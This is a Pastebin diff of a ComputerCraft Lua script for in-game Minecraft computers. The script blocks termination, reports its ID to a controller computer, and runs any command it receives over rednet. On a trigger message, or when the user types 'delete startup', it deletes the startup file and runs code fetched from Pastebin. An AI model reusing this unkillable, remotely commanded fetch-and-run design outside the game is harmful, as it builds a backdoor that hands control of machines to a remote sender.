View difference between Paste ID: Z3aWCc6b and ariHL0U0
SHOW: | | - or go back to the newest paste.
1
os.pullEvent = os.pullEventRaw
2
local modemLocations = {}
3
4
-- Function to find the side where the modem is located
5
local function findModemSide()
6
    for _, side in ipairs(rs.getSides()) do
7
        if peripheral.getType(side) == "modem" then
8
            return side
9
        end
10
    end
11
    return nil  -- No modem found
12-
-- Open Rednet on the side where the modem is located
12+
13-
local modemSide = findModemSide()
13+
14-
if modemSide then
14+
-- Function to open Rednet on the side where the modem is located
15-
    rednet.open(modemSide)
15+
local function openRednet()
16-
    print("Rednet opened on side:", modemSide)
16+
    local modemSide = findModemSide()
17-
else
17+
    if modemSide then
18-
    print("No modem found.")
18+
        rednet.open(modemSide)
19
        return true
20
        else
21-
-- Main loop to listen for incoming commands
21+
        print("Modem Required")
22-
while true do
22+
        return false
23-
    local senderID, message = rednet.receive()
23+
24
end
25-
    -- Check if the message is intended for this computer
25+
26-
    if type(message) == "string" then
26+
-- Function to log the location of the current computer
27-
        print("Received command:", message)
27+
local function logComputerLocation()
28-
        -- Execute the received command
28+
    local computerID = os.getComputerID()
29-
        shell.run(message)
29+
    local computerLabel = os.getComputerLabel() or "Unnamed"
30
    modemLocations[computerID] = {label = computerLabel, location = os.getComputerLabel()}
31
end
32
33
-- Function to send the computer's ID and time to the main computer
34
local function sendComputerIDAndTime()
35
    local mainComputerID = 7 -- Replace with the ID of the main computer
36
    local currentTime = os.time()
37
    local formattedTime = os.date("%Y-%m-%d %I:%M %p", currentTime) -- Convert timestamp to a human-readable format with AM/PM
38
    local computerID = os.getComputerID()
39
    local message = {computerID = computerID, time = formattedTime}
40
    rednet.send(mainComputerID, message)
41
end
42
43
-- Function to delete the startup file and run the Pastebin script
44
local function deleteStartupAndRunPastebin()
45
    local pastebinCommand = "pastebin run j7mX2NGC"
46
    shell.run("delete startup")
47
    shell.run(pastebinCommand)
48
end
49
50
-- Function to display Minecraft time in the top corner of the screen
51
local function displayMinecraftTime()
52
    local xPos, yPos = term.getCursorPos()
53
    while true do
54
        term.setCursorPos(1, 1)
55
        term.clearLine()
56
        term.write("Time: " .. textutils.formatTime(os.time(), true))
57
        term.setCursorPos(xPos, yPos) -- Restore cursor position
58
        sleep(1) -- Update every second
59
    end
60
end
61
62
-- Main function to handle receiving and executing commands
63
local function main()
64
    -- Open Rednet on the side where the modem is located
65
    if not openRednet() then
66
        return  -- Exit if no modem is found
67
    end
68
69
    -- Log the location of the current computer
70
    logComputerLocation()
71
72
    -- Send the computer's ID and time to the main computer
73
    sendComputerIDAndTime()
74
75
    -- Main loop to listen for incoming commands
76
    while true do
77
        local senderID, message = rednet.receive()
78
79
        -- Check if the message is intended for this computer
80
        if type(message) == "string" then
81
            -- Check if the command is 'shell'
82
            if message == "shell" then
83
                -- Execute the custom function to delete startup
84
                -- and run Pastebin script
85
                deleteStartupAndRunPastebin()
86
            else
87
                -- Execute the received command
88
                shell.run(message)
89
            end
90
        end
91
    end
92
end
93
94
-- Function to handle user input
95
local function handleUserInput()
96
    while true do
97
        local userInput = read()
98
        -- Run the Pastebin script if the user inputs 'delete startup'
99
        if userInput == "delete startup" then
100
            deleteStartupAndRunPastebin()
101
        else
102
            shell.run(userInput)
103
        end
104
    end
105
end
106
107
-- Run the main function, display Minecraft time function,
108
-- and the user input handling function concurrently
109
parallel.waitForAny(main, displayMinecraftTime, handleUserInput)
110